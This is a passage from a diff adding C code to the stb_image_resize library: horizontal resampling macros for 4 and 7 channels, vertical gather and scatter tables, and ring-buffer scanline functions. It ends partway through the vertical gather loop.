+    x1 += decode[9+(ofs)*4] * c;      \
+    x2 += decode[10+(ofs)*4] * c;     \
+    x3 += decode[11+(ofs)*4] * c;
+
+#define stbir__store_output()                     \
+    output[0] = x0 + y0;                          \
+    output[1] = x1 + y1;                          \
+    output[2] = x2 + y2;                          \
+    output[3] = x3 + y3;                          \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 4;
+
+#endif
+
+#define STBIR__horizontal_channels 4
+#define STB_IMAGE_RESIZE_DO_HORIZONTALS
+#include STBIR__HEADER_FILENAME
+
+
+
+//=================
+// Do 7 channel horizontal routines
+
+#ifdef STBIR_SIMD
+
+#define stbir__1_coeff_only()                   \
+    stbir__simdf tot0,tot1,c;                   \
+    STBIR_SIMD_NO_UNROLL(decode);               \
+    stbir__simdf_load1( c, hc );                \
+    stbir__simdf_0123to0000( c, c );            \
+    stbir__simdf_mult_mem( tot0, c, decode );   \
+    stbir__simdf_mult_mem( tot1, c, decode+3 );
+
+#define stbir__2_coeff_only()                         \
+    stbir__simdf tot0,tot1,c,cs;                      \
+    STBIR_SIMD_NO_UNROLL(decode);                     \
+    stbir__simdf_load2( cs, hc );                     \
+    stbir__simdf_0123to0000( c, cs );                 \
+    stbir__simdf_mult_mem( tot0, c, decode );         \
+    stbir__simdf_mult_mem( tot1, c, decode+3 );       \
+    stbir__simdf_0123to1111( c, cs );                 \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+7 ); \
+    stbir__simdf_madd_mem( tot1, tot1, c,decode+10 );
+
+#define stbir__3_coeff_only()                           \
+    stbir__simdf tot0,tot1,c,cs;                        \
+    STBIR_SIMD_NO_UNROLL(decode);                       \
+    stbir__simdf_load( cs, hc );                        \
+    stbir__simdf_0123to0000( c, cs );                   \
+    stbir__simdf_mult_mem( tot0, c, decode );           \
+    stbir__simdf_mult_mem( tot1, c, decode+3 );         \
+    stbir__simdf_0123to1111( c, cs );                   \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+7 );   \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+10 );  \
+    stbir__simdf_0123to2222( c, cs );                   \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+14 );  \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+17 );
+
+#define stbir__store_output_tiny()                \
+    stbir__simdf_store( output+3, tot1 );         \
+    stbir__simdf_store( output, tot0 );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 7;
+
+#ifdef STBIR_SIMD8
+
+#define stbir__4_coeff_start()                     \
+    stbir__simdf8 tot0,tot1,c,cs;                  \
+    STBIR_SIMD_NO_UNROLL(decode);                  \
+    stbir__simdf8_load4b( cs, hc );                \
+    stbir__simdf8_0123to00000000( c, cs );         \
+    stbir__simdf8_mult_mem( tot0, c, decode );     \
+    stbir__simdf8_0123to11111111( c, cs );         \
+    stbir__simdf8_mult_mem( tot1, c, decode+7 );   \
+    stbir__simdf8_0123to22222222( c, cs );         \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+14 );  \
+    stbir__simdf8_0123to33333333( c, cs );         \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+21 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                   \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf8_load4b( cs, hc + (ofs) );                     \
+    stbir__simdf8_0123to00000000( c, cs );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7 );    \
+    stbir__simdf8_0123to11111111( c, cs );                      \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+(ofs)*7+7 );  \
+    stbir__simdf8_0123to22222222( c, cs );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7+14 ); \
+    stbir__simdf8_0123to33333333( c, cs );                      \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+(ofs)*7+21 );
+
+#define stbir__1_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf8_load1b( c, hc + (ofs) );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7 );
+
+#define stbir__2_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf8_load1b( c, hc + (ofs) );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7 );    \
+    stbir__simdf8_load1b( c, hc + (ofs)+1 );                    \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+(ofs)*7+7 );
+
+#define stbir__3_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf8_load4b( cs, hc + (ofs) );                     \
+    stbir__simdf8_0123to00000000( c, cs );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7 );    \
+    stbir__simdf8_0123to11111111( c, cs );                      \
+    stbir__simdf8_madd_mem( tot1, tot1, c, decode+(ofs)*7+7 );  \
+    stbir__simdf8_0123to22222222( c, cs );                      \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*7+14 );
+
+#define stbir__store_output()                     \
+    stbir__simdf8_add( tot0, tot0, tot1 );        \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 7;                                  \
+    if ( output < output_end )                    \
+    {                                             \
+      stbir__simdf8_store( output-7, tot0 );      \
+      continue;                                   \
+    }                                             \
+    stbir__simdf_store( output-7+3, stbir__simdf_swiz(stbir__simdf8_gettop4(tot0),0,0,1,2) ); \
+    stbir__simdf_store( output-7, stbir__if_simdf8_cast_to_simdf4(tot0) );           \
+    break;
+
+#else
+
+#define stbir__4_coeff_start()                    \
+    stbir__simdf tot0,tot1,tot2,tot3,c,cs;        \
+    STBIR_SIMD_NO_UNROLL(decode);                 \
+    stbir__simdf_load( cs, hc );                  \
+    stbir__simdf_0123to0000( c, cs );             \
+    stbir__simdf_mult_mem( tot0, c, decode );     \
+    stbir__simdf_mult_mem( tot1, c, decode+3 );   \
+    stbir__simdf_0123to1111( c, cs );             \
+    stbir__simdf_mult_mem( tot2, c, decode+7 );   \
+    stbir__simdf_mult_mem( tot3, c, decode+10 );  \
+    stbir__simdf_0123to2222( c, cs );             \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+14 );  \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+17 );  \
+    stbir__simdf_0123to3333( c, cs );                   \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+21 );  \
+    stbir__simdf_madd_mem( tot3, tot3, c, decode+24 );
+
+#define stbir__4_coeff_continue_from_4( ofs )                   \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf_load( cs, hc + (ofs) );                        \
+    stbir__simdf_0123to0000( c, cs );                           \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7 );     \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+3 );   \
+    stbir__simdf_0123to1111( c, cs );                           \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+(ofs)*7+7 );   \
+    stbir__simdf_madd_mem( tot3, tot3, c, decode+(ofs)*7+10 );  \
+    stbir__simdf_0123to2222( c, cs );                           \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7+14 );  \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+17 );  \
+    stbir__simdf_0123to3333( c, cs );                           \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+(ofs)*7+21 );  \
+    stbir__simdf_madd_mem( tot3, tot3, c, decode+(ofs)*7+24 );
+
+#define stbir__1_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf_load1( c, hc + (ofs) );                        \
+    stbir__simdf_0123to0000( c, c );                            \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7 );     \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+3 );   \
+
+#define stbir__2_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf_load2( cs, hc + (ofs) );                       \
+    stbir__simdf_0123to0000( c, cs );                           \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7 );     \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+3 );   \
+    stbir__simdf_0123to1111( c, cs );                           \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+(ofs)*7+7 );   \
+    stbir__simdf_madd_mem( tot3, tot3, c, decode+(ofs)*7+10 );
+
+#define stbir__3_coeff_remnant( ofs )                           \
+    STBIR_SIMD_NO_UNROLL(decode);                               \
+    stbir__simdf_load( cs, hc + (ofs) );                        \
+    stbir__simdf_0123to0000( c, cs );                           \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7 );     \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+3 );   \
+    stbir__simdf_0123to1111( c, cs );                           \
+    stbir__simdf_madd_mem( tot2, tot2, c, decode+(ofs)*7+7 );   \
+    stbir__simdf_madd_mem( tot3, tot3, c, decode+(ofs)*7+10 );  \
+    stbir__simdf_0123to2222( c, cs );                           \
+    stbir__simdf_madd_mem( tot0, tot0, c, decode+(ofs)*7+14 );  \
+    stbir__simdf_madd_mem( tot1, tot1, c, decode+(ofs)*7+17 );
+
+#define stbir__store_output()                     \
+    stbir__simdf_add( tot0, tot0, tot2 );         \
+    stbir__simdf_add( tot1, tot1, tot3 );         \
+    stbir__simdf_store( output+3, tot1 );         \
+    stbir__simdf_store( output, tot0 );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 7;
+
+#endif
+
+#else
+
+#define stbir__1_coeff_only()        \
+    float tot0, tot1, tot2, tot3, tot4, tot5, tot6, c; \
+    c = hc[0];                       \
+    tot0 = decode[0]*c;              \
+    tot1 = decode[1]*c;              \
+    tot2 = decode[2]*c;              \
+    tot3 = decode[3]*c;              \
+    tot4 = decode[4]*c;              \
+    tot5 = decode[5]*c;              \
+    tot6 = decode[6]*c;
+
+#define stbir__2_coeff_only()        \
+    float tot0, tot1, tot2, tot3, tot4, tot5, tot6, c; \
+    c = hc[0];                       \
+    tot0 = decode[0]*c;              \
+    tot1 = decode[1]*c;              \
+    tot2 = decode[2]*c;              \
+    tot3 = decode[3]*c;              \
+    tot4 = decode[4]*c;              \
+    tot5 = decode[5]*c;              \
+    tot6 = decode[6]*c;              \
+    c = hc[1];                       \
+    tot0 += decode[7]*c;             \
+    tot1 += decode[8]*c;             \
+    tot2 += decode[9]*c;             \
+    tot3 += decode[10]*c;            \
+    tot4 += decode[11]*c;            \
+    tot5 += decode[12]*c;            \
+    tot6 += decode[13]*c;            \
+
+#define stbir__3_coeff_only()        \
+    float tot0, tot1, tot2, tot3, tot4, tot5, tot6, c; \
+    c = hc[0];                       \
+    tot0 = decode[0]*c;              \
+    tot1 = decode[1]*c;              \
+    tot2 = decode[2]*c;              \
+    tot3 = decode[3]*c;              \
+    tot4 = decode[4]*c;              \
+    tot5 = decode[5]*c;              \
+    tot6 = decode[6]*c;              \
+    c = hc[1];                       \
+    tot0 += decode[7]*c;             \
+    tot1 += decode[8]*c;             \
+    tot2 += decode[9]*c;             \
+    tot3 += decode[10]*c;            \
+    tot4 += decode[11]*c;            \
+    tot5 += decode[12]*c;            \
+    tot6 += decode[13]*c;            \
+    c = hc[2];                       \
+    tot0 += decode[14]*c;            \
+    tot1 += decode[15]*c;            \
+    tot2 += decode[16]*c;            \
+    tot3 += decode[17]*c;            \
+    tot4 += decode[18]*c;            \
+    tot5 += decode[19]*c;            \
+    tot6 += decode[20]*c;            \
+
+#define stbir__store_output_tiny()                \
+    output[0] = tot0;                             \
+    output[1] = tot1;                             \
+    output[2] = tot2;                             \
+    output[3] = tot3;                             \
+    output[4] = tot4;                             \
+    output[5] = tot5;                             \
+    output[6] = tot6;                             \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 7;
+
+#define stbir__4_coeff_start()    \
+    float x0,x1,x2,x3,x4,x5,x6,y0,y1,y2,y3,y4,y5,y6,c; \
+    STBIR_SIMD_NO_UNROLL(decode); \
+    c = hc[0];                    \
+    x0 = decode[0] * c;           \
+    x1 = decode[1] * c;           \
+    x2 = decode[2] * c;           \
+    x3 = decode[3] * c;           \
+    x4 = decode[4] * c;           \
+    x5 = decode[5] * c;           \
+    x6 = decode[6] * c;           \
+    c = hc[1];                    \
+    y0 = decode[7] * c;           \
+    y1 = decode[8] * c;           \
+    y2 = decode[9] * c;           \
+    y3 = decode[10] * c;          \
+    y4 = decode[11] * c;          \
+    y5 = decode[12] * c;          \
+    y6 = decode[13] * c;          \
+    c = hc[2];                    \
+    x0 += decode[14] * c;         \
+    x1 += decode[15] * c;         \
+    x2 += decode[16] * c;         \
+    x3 += decode[17] * c;         \
+    x4 += decode[18] * c;         \
+    x5 += decode[19] * c;         \
+    x6 += decode[20] * c;         \
+    c = hc[3];                    \
+    y0 += decode[21] * c;         \
+    y1 += decode[22] * c;         \
+    y2 += decode[23] * c;         \
+    y3 += decode[24] * c;         \
+    y4 += decode[25] * c;         \
+    y5 += decode[26] * c;         \
+    y6 += decode[27] * c;
+
+#define stbir__4_coeff_continue_from_4( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);  \
+    c = hc[0+(ofs)];               \
+    x0 += decode[0+(ofs)*7] * c;   \
+    x1 += decode[1+(ofs)*7] * c;   \
+    x2 += decode[2+(ofs)*7] * c;   \
+    x3 += decode[3+(ofs)*7] * c;   \
+    x4 += decode[4+(ofs)*7] * c;   \
+    x5 += decode[5+(ofs)*7] * c;   \
+    x6 += decode[6+(ofs)*7] * c;   \
+    c = hc[1+(ofs)];               \
+    y0 += decode[7+(ofs)*7] * c;   \
+    y1 += decode[8+(ofs)*7] * c;   \
+    y2 += decode[9+(ofs)*7] * c;   \
+    y3 += decode[10+(ofs)*7] * c;  \
+    y4 += decode[11+(ofs)*7] * c;  \
+    y5 += decode[12+(ofs)*7] * c;  \
+    y6 += decode[13+(ofs)*7] * c;  \
+    c = hc[2+(ofs)];               \
+    x0 += decode[14+(ofs)*7] * c;  \
+    x1 += decode[15+(ofs)*7] * c;  \
+    x2 += decode[16+(ofs)*7] * c;  \
+    x3 += decode[17+(ofs)*7] * c;  \
+    x4 += decode[18+(ofs)*7] * c;  \
+    x5 += decode[19+(ofs)*7] * c;  \
+    x6 += decode[20+(ofs)*7] * c;  \
+    c = hc[3+(ofs)];               \
+    y0 += decode[21+(ofs)*7] * c;  \
+    y1 += decode[22+(ofs)*7] * c;  \
+    y2 += decode[23+(ofs)*7] * c;  \
+    y3 += decode[24+(ofs)*7] * c;  \
+    y4 += decode[25+(ofs)*7] * c;  \
+    y5 += decode[26+(ofs)*7] * c;  \
+    y6 += decode[27+(ofs)*7] * c;
+
+#define stbir__1_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);  \
+    c = hc[0+(ofs)];               \
+    x0 += decode[0+(ofs)*7] * c;   \
+    x1 += decode[1+(ofs)*7] * c;   \
+    x2 += decode[2+(ofs)*7] * c;   \
+    x3 += decode[3+(ofs)*7] * c;   \
+    x4 += decode[4+(ofs)*7] * c;   \
+    x5 += decode[5+(ofs)*7] * c;   \
+    x6 += decode[6+(ofs)*7] * c;   \
+
+#define stbir__2_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);  \
+    c = hc[0+(ofs)];               \
+    x0 += decode[0+(ofs)*7] * c;   \
+    x1 += decode[1+(ofs)*7] * c;   \
+    x2 += decode[2+(ofs)*7] * c;   \
+    x3 += decode[3+(ofs)*7] * c;   \
+    x4 += decode[4+(ofs)*7] * c;   \
+    x5 += decode[5+(ofs)*7] * c;   \
+    x6 += decode[6+(ofs)*7] * c;   \
+    c = hc[1+(ofs)];               \
+    y0 += decode[7+(ofs)*7] * c;   \
+    y1 += decode[8+(ofs)*7] * c;   \
+    y2 += decode[9+(ofs)*7] * c;   \
+    y3 += decode[10+(ofs)*7] * c;  \
+    y4 += decode[11+(ofs)*7] * c;  \
+    y5 += decode[12+(ofs)*7] * c;  \
+    y6 += decode[13+(ofs)*7] * c;  \
+
+#define stbir__3_coeff_remnant( ofs ) \
+    STBIR_SIMD_NO_UNROLL(decode);  \
+    c = hc[0+(ofs)];               \
+    x0 += decode[0+(ofs)*7] * c;   \
+    x1 += decode[1+(ofs)*7] * c;   \
+    x2 += decode[2+(ofs)*7] * c;   \
+    x3 += decode[3+(ofs)*7] * c;   \
+    x4 += decode[4+(ofs)*7] * c;   \
+    x5 += decode[5+(ofs)*7] * c;   \
+    x6 += decode[6+(ofs)*7] * c;   \
+    c = hc[1+(ofs)];               \
+    y0 += decode[7+(ofs)*7] * c;   \
+    y1 += decode[8+(ofs)*7] * c;   \
+    y2 += decode[9+(ofs)*7] * c;   \
+    y3 += decode[10+(ofs)*7] * c;  \
+    y4 += decode[11+(ofs)*7] * c;  \
+    y5 += decode[12+(ofs)*7] * c;  \
+    y6 += decode[13+(ofs)*7] * c;  \
+    c = hc[2+(ofs)];               \
+    x0 += decode[14+(ofs)*7] * c;  \
+    x1 += decode[15+(ofs)*7] * c;  \
+    x2 += decode[16+(ofs)*7] * c;  \
+    x3 += decode[17+(ofs)*7] * c;  \
+    x4 += decode[18+(ofs)*7] * c;  \
+    x5 += decode[19+(ofs)*7] * c;  \
+    x6 += decode[20+(ofs)*7] * c;  \
+
+#define stbir__store_output()                     \
+    output[0] = x0 + y0;                          \
+    output[1] = x1 + y1;                          \
+    output[2] = x2 + y2;                          \
+    output[3] = x3 + y3;                          \
+    output[4] = x4 + y4;                          \
+    output[5] = x5 + y5;                          \
+    output[6] = x6 + y6;                          \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 7;
+
+#endif
+
+#define STBIR__horizontal_channels 7
+#define STB_IMAGE_RESIZE_DO_HORIZONTALS
+#include STBIR__HEADER_FILENAME
+
+
+// include all of the vertical resamplers (both scatter and gather versions)
+
+#define STBIR__vertical_channels 1
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 1
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 2
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 2
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 3
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 3
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 4
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 4
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 5
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 5
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 6
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 6
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 7
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 7
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 8
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#include STBIR__HEADER_FILENAME
+
+#define STBIR__vertical_channels 8
+#define STB_IMAGE_RESIZE_DO_VERTICALS
+#define STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#include STBIR__HEADER_FILENAME
+
+typedef void STBIR_VERTICAL_GATHERFUNC( float * output, float const * coeffs, float const ** inputs, float const * input0_end );
+
+static STBIR_VERTICAL_GATHERFUNC * stbir__vertical_gathers[ 8 ] =
+{
+  stbir__vertical_gather_with_1_coeffs,stbir__vertical_gather_with_2_coeffs,stbir__vertical_gather_with_3_coeffs,stbir__vertical_gather_with_4_coeffs,stbir__vertical_gather_with_5_coeffs,stbir__vertical_gather_with_6_coeffs,stbir__vertical_gather_with_7_coeffs,stbir__vertical_gather_with_8_coeffs
+};
+
+static STBIR_VERTICAL_GATHERFUNC * stbir__vertical_gathers_continues[ 8 ] =
+{
+  stbir__vertical_gather_with_1_coeffs_cont,stbir__vertical_gather_with_2_coeffs_cont,stbir__vertical_gather_with_3_coeffs_cont,stbir__vertical_gather_with_4_coeffs_cont,stbir__vertical_gather_with_5_coeffs_cont,stbir__vertical_gather_with_6_coeffs_cont,stbir__vertical_gather_with_7_coeffs_cont,stbir__vertical_gather_with_8_coeffs_cont
+};
+
+typedef void STBIR_VERTICAL_SCATTERFUNC( float ** outputs, float const * coeffs, float const * input, float const * input_end );
+
+static STBIR_VERTICAL_SCATTERFUNC * stbir__vertical_scatter_sets[ 8 ] =
+{
+  stbir__vertical_scatter_with_1_coeffs,stbir__vertical_scatter_with_2_coeffs,stbir__vertical_scatter_with_3_coeffs,stbir__vertical_scatter_with_4_coeffs,stbir__vertical_scatter_with_5_coeffs,stbir__vertical_scatter_with_6_coeffs,stbir__vertical_scatter_with_7_coeffs,stbir__vertical_scatter_with_8_coeffs
+};
+
+static STBIR_VERTICAL_SCATTERFUNC * stbir__vertical_scatter_blends[ 8 ] =
+{
+  stbir__vertical_scatter_with_1_coeffs_cont,stbir__vertical_scatter_with_2_coeffs_cont,stbir__vertical_scatter_with_3_coeffs_cont,stbir__vertical_scatter_with_4_coeffs_cont,stbir__vertical_scatter_with_5_coeffs_cont,stbir__vertical_scatter_with_6_coeffs_cont,stbir__vertical_scatter_with_7_coeffs_cont,stbir__vertical_scatter_with_8_coeffs_cont
+};
+
+
+static void stbir__encode_scanline( stbir__info const * stbir_info, void *output_buffer_data, float * encode_buffer, int row  STBIR_ONLY_PROFILE_GET_SPLIT_INFO )
+{
+  int num_pixels = stbir_info->horizontal.scale_info.output_sub_size;
+  int channels = stbir_info->channels;
+  int width_times_channels = num_pixels * channels;
+  void * output_buffer;
+
+  // un-alpha weight if we need to
+  if ( stbir_info->alpha_unweight )
+  {
+    STBIR_PROFILE_START( unalpha );
+    stbir_info->alpha_unweight( encode_buffer, width_times_channels );
+    STBIR_PROFILE_END( unalpha );
+  }
+
+  // write directly into output by default
+  output_buffer = output_buffer_data;
+
+  // if we have an output callback, we first convert the decode buffer in place (and then hand that to the callback)
+  if ( stbir_info->out_pixels_cb )
+    output_buffer = encode_buffer;
+
+  STBIR_PROFILE_START( encode );
+  // convert into the output buffer
+  stbir_info->encode_pixels( output_buffer, width_times_channels, encode_buffer );
+  STBIR_PROFILE_END( encode );
+
+  // if we have an output callback, call it to send the data
+  if ( stbir_info->out_pixels_cb )
+    stbir_info->out_pixels_cb( output_buffer, num_pixels, row, stbir_info->user_data );
+}
+
+
+// Get the ring buffer pointer for an index
+static float* stbir__get_ring_buffer_entry(stbir__info const * stbir_info, stbir__per_split_info const * split_info, int index )
+{
+  STBIR_ASSERT( index < stbir_info->ring_buffer_num_entries );
+
+  #ifdef STBIR__SEPARATE_ALLOCATIONS
+    return split_info->ring_buffers[ index ];
+  #else
+    return (float*) ( ( (char*) split_info->ring_buffer ) + ( index * stbir_info->ring_buffer_length_bytes ) );
+  #endif
+}
+
+// Get the specified scan line from the ring buffer
+static float* stbir__get_ring_buffer_scanline(stbir__info const * stbir_info, stbir__per_split_info const * split_info, int get_scanline)
+{
+  int ring_buffer_index = (split_info->ring_buffer_begin_index + (get_scanline - split_info->ring_buffer_first_scanline)) % stbir_info->ring_buffer_num_entries;
+  return stbir__get_ring_buffer_entry( stbir_info, split_info, ring_buffer_index );
+}
+
+static void stbir__resample_horizontal_gather(stbir__info const * stbir_info, float* output_buffer, float const * input_buffer STBIR_ONLY_PROFILE_GET_SPLIT_INFO )
+{
+  float const * decode_buffer = input_buffer - ( stbir_info->scanline_extents.conservative.n0 * stbir_info->effective_channels );
+
+  STBIR_PROFILE_START( horizontal );
+  if ( ( stbir_info->horizontal.filter_enum == STBIR_FILTER_POINT_SAMPLE ) && ( stbir_info->horizontal.scale_info.scale == 1.0f ) )
+    STBIR_MEMCPY( output_buffer, input_buffer, stbir_info->horizontal.scale_info.output_sub_size * sizeof( float ) * stbir_info->effective_channels );
+  else
+    stbir_info->horizontal_gather_channels( output_buffer, stbir_info->horizontal.scale_info.output_sub_size, decode_buffer, stbir_info->horizontal.contributors, stbir_info->horizontal.coefficients, stbir_info->horizontal.coefficient_width );
+  STBIR_PROFILE_END( horizontal );
+}
+
+static void stbir__resample_vertical_gather(stbir__info const * stbir_info, stbir__per_split_info* split_info, int n, int contrib_n0, int contrib_n1, float const * vertical_coefficients )
+{
+  float* encode_buffer = split_info->vertical_buffer;
+  float* decode_buffer = split_info->decode_buffer;
+  int vertical_first = stbir_info->vertical_first;
+  int width = (vertical_first) ? ( stbir_info->scanline_extents.conservative.n1-stbir_info->scanline_extents.conservative.n0+1 ) : stbir_info->horizontal.scale_info.output_sub_size;
+  int width_times_channels = stbir_info->effective_channels * width;
+
+  STBIR_ASSERT( stbir_info->vertical.is_gather );
+
+  // loop over the contributing scanlines and scale into the buffer
+  STBIR_PROFILE_START( vertical );
+  {
+    int k = 0, total = contrib_n1 - contrib_n0 + 1;
+    STBIR_ASSERT( total > 0 );
+    do {
+      float const * inputs[8];
+      int i, cnt = total; if ( cnt > 8 ) cnt = 8;
+      for( i = 0 ; i < cnt ; i++ )
+        inputs[ i ] = stbir__get_ring_buffer_scanline(stbir_info, split_info, k+i+contrib_n0 );
+
+      // call the N scanlines at a time function (up to 8 scanlines of blending at once)
+      ((k==0)?stbir__vertical_gathers:stbir__vertical_gathers_continues)[cnt-1]( (vertical_first) ? decode_buffer : encode_buffer, vertical_coefficients + k, inputs, inputs[0] + width_times_channels );
+      k += cnt;
+      total -= cnt;
+    } while ( total );
+  }
+  STBIR_PROFILE_END( vertical );
+
+  if ( vertical_first )
+  {
+    // Now resample the gathered vertical data in the horizontal axis into the encode buffer
+    decode_buffer[ width_times_channels ] = 0.0f; // clear two over for horizontals with a remnant of 3
+    decode_buffer[ width_times_channels+1 ] = 0.0f; 
+    stbir__resample_horizontal_gather(stbir_info, encode_buffer, decode_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+  }
+
+  stbir__encode_scanline( stbir_info, ( (char *) stbir_info->output_data ) + ((size_t)n * (size_t)stbir_info->output_stride_bytes),
+                          encode_buffer, n  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+}
+
+static void stbir__decode_and_resample_for_vertical_gather_loop(stbir__info const * stbir_info, stbir__per_split_info* split_info, int n)
+{
+  int ring_buffer_index;
+  float* ring_buffer;
+
+  // Decode the nth scanline from the source image into the decode buffer.
+  stbir__decode_scanline( stbir_info, n, split_info->decode_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+  // update new end scanline
+  split_info->ring_buffer_last_scanline = n;
+
+  // get ring buffer
+  ring_buffer_index = (split_info->ring_buffer_begin_index + (split_info->ring_buffer_last_scanline - split_info->ring_buffer_first_scanline)) % stbir_info->ring_buffer_num_entries;
+  ring_buffer = stbir__get_ring_buffer_entry(stbir_info, split_info, ring_buffer_index);
+
+  // Now resample it into the ring buffer.
+  stbir__resample_horizontal_gather( stbir_info, ring_buffer, split_info->decode_buffer  STBIR_ONLY_PROFILE_SET_SPLIT_INFO );
+
+  // Now it's sitting in the ring buffer ready to be used as source for the vertical sampling.
+}
+
+static void stbir__vertical_gather_loop( stbir__info const * stbir_info, stbir__per_split_info* split_info, int split_count )
+{
+  int y, start_output_y, end_output_y;
+  stbir__contributors* vertical_contributors = stbir_info->vertical.contributors;
+  float const * vertical_coefficients = stbir_info->vertical.coefficients;
+
+  STBIR_ASSERT( stbir_info->vertical.is_gather );
+
+  start_output_y = split_info->start_output_y;
+  end_output_y = split_info[split_count-1].end_output_y;
+
+  vertical_contributors += start_output_y;
+  vertical_coefficients += start_output_y * stbir_info->vertical.coefficient_width;
+
+  // initialize the ring buffer for gathering
+  split_info->ring_buffer_begin_index = 0;
+  split_info->ring_buffer_first_scanline = vertical_contributors->n0;
+  split_info->ring_buffer_last_scanline = split_info->ring_buffer_first_scanline - 1; // means "empty"
+
+  for (y = start_output_y; y < end_output_y; y++)
+  {
+    int in_first_scanline, in_last_scanline;
+
+    in_first_scanline = vertical_contributors->n0;
+    in_last_scanline = vertical_contributors->n1;
+
+    // make sure the indexing hasn't broken
+    STBIR_ASSERT( in_first_scanline >= split_info->ring_buffer_first_scanline );
+
+    // Load in new scanlines
